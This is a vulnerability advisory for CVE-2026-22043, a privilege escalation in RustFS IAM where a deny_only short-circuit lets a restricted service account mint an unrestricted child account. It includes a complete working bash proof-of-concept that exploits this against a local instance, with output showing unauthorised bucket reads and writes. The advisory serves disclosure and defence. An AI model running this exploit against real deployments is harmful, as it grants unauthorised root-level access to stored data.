CVE-2026-22043

## Summary A flawed `deny_only` short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions. ## Details **akin to MinIO CVE-2025-62506** - Policy evaluation: `Policy::is_allowed` returns true when `deny_only=true` if no explicit Deny is hit, skipping all Allow checks (`crates/policy/src/policy/policy.rs:66-74`). - Service account creation path sets `deny_only=true` when the target user equals the caller or its parent (`rustfs/src/admin/handlers/service_account.rs:114-127`). - Service accounts are created without `session_policy` by default, so claims lack `SESSION_POLICY_NAME`; combined with `deny_only`, self-operations are allowed without Allow statements. - Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions. Key code references: - `crates/policy/src/policy/policy.rs` (deny_only short-circuit) - `rustfs/src/admin/handlers/service_account.rs:` (deny_only set for self/parent target) - `crates/iam/src/sys.rs` (service account creation defaults, no session_policy) ## PoC Requires `awscli`, `awscurl`, `jq`, RustFS at `http://127.0.0.1:9000`, root AK/SK `rustfsadmin/rustfsadmin`. Run: ```bash #!/usr/bin/env bash set -euo pipefail # ===================== Config ===================== ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}" ROOT_AK="${ROOT_AK:-rustfsadmin}" ROOT_SK="${ROOT_SK:-rustfsadmin}" PARENT_AK="${PARENT_AK:-restricted}" PARENT_SK="${PARENT_SK:-restricted123}" CHILD_AK="${CHILD_AK:-evilchild}" CHILD_SK="${CHILD_SK:-evilchild123}" AWS_REGION="${AWS_REGION:-us-east-1}" # Tools AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}" AWS_BIN="${AWS_BIN:-aws}" JQ_BIN="${JQ_BIN:-jq}" # Disable proxies for local endpoint export HTTP_PROXY= export HTTPS_PROXY= export NO_PROXY=127.0.0.1,localhost # ===================== Helpers ===================== aws_cmd() { local ak="$1" sk="$2" shift 2 AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@" } awscurl_admin() { local ak="$1" sk="$2" shift 2 AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \ "$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@" } timestamp_iso() { python - <<'PY' import datetime print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat()) PY } # ===================== Cleanup ===================== echo "[+] cleanup service accounts (ignore errors)" for ak in "$CHILD_AK" "$PARENT_AK"; do awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true done echo "[+] cleanup buckets" for b in bucket1 bucket2 bucket3; do aws_cmd "$ROOT_AK" "$ROOT_SK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true done # ===================== Setup ===================== echo "[+] create buckets" for b in bucket1 bucket2 bucket3; do aws_cmd "$ROOT_AK" "$ROOT_SK" s3 mb "s3://$b" || true done echo "[+] seed bucket3 with marker object" printf "poc-marker\n" | aws_cmd "$ROOT_AK" "$ROOT_SK" s3 cp - s3://bucket3/poc-marker.txt EXP="$(timestamp_iso)" echo "[+] create restricted policy" RESTRICTED_POLICY='{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["s3:ListBucket"], "Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"] }, { "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"], "Resource": ["arn:aws:s3:::bucket1/*", "arn:aws:s3:::bucket2/*"] } ] }' echo "[+] create restricted service account" awscurl_admin "$ROOT_AK" "$ROOT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \ -H 'Content-Type: application/json' \ -d "$("$JQ_BIN" -nc --arg ak "$PARENT_AK" --arg sk "$PARENT_SK" --arg policy "$RESTRICTED_POLICY" --arg exp "$EXP" \ '{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \ > /tmp/restricted_sa.json cat /tmp/restricted_sa.json echo "[+] list buckets as restricted (expect bucket1,bucket2 only)" aws_cmd "$PARENT_AK" "$PARENT_SK" s3 ls echo "[+] create child service account without policy (trigger deny_only)" awscurl_admin "$PARENT_AK" "$PARENT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \ -H 'Content-Type: application/json' \ -d "$("$JQ_BIN" -nc --arg ak "$CHILD_AK" --arg sk "$CHILD_SK" --arg exp "$EXP" \ '{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \ > /tmp/child_sa.json cat /tmp/child_sa.json echo "[+] child tries to list bucket3 (should be denied; success means vuln)" if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 ls s3://bucket3; then echo "child list bucket3: SUCCESS (vuln)" else echo "child list bucket3: DENIED" fi echo "[+] child tries to read marker from bucket3" if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then echo "child read marker: SUCCESS (vuln). Content:" cat /tmp/poc-marker.txt else echo "child read marker: DENIED" fi echo "[+] child tries to write new object into bucket3" if printf "child-write\n" | aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp - s3://bucket3/child-write.txt; then echo "child write: SUCCESS (vuln)" else echo "child write: DENIED" fi ``` PoC steps (in `poc.sh`): 1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with `poc-marker.txt`. 2) Create restricted policy (List/Get/Put only on bucket1/2). 3) Create restricted service account `restricted/restricted123` with that policy. 4) With `restricted`, create child service account `evilchild/evilchild123` **without policy** (deny_only short-circuit). 5) With `evilchild`, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED. Result: ```text ./poc.sh [+] cleanup service accounts (ignore errors) [+] cleanup buckets [+] create buckets make_bucket: bucket1 make_bucket: bucket2 make_bucket: bucket3 [+] seed bucket3 with marker object [+] create restricted policy [+] create restricted service account {"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}} [+] list buckets as restricted (expect bucket1,bucket2 only) 2025-12-16 18:51:16 bucket1 2025-12-16 18:51:16 bucket2 [+] create child service account without policy (trigger deny_only) {"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}} [+] child tries to list bucket3 (should be denied; success means vuln) 2025-12-16 18:51:17 11 poc-marker.txt child list bucket3: SUCCESS (vuln) [+] child tries to read marker from bucket3 download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt child read marker: SUCCESS (vuln). Content: poc-marker [+] child tries to write new object into bucket3 child write: SUCCESS (vuln) ``` ## Impact Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.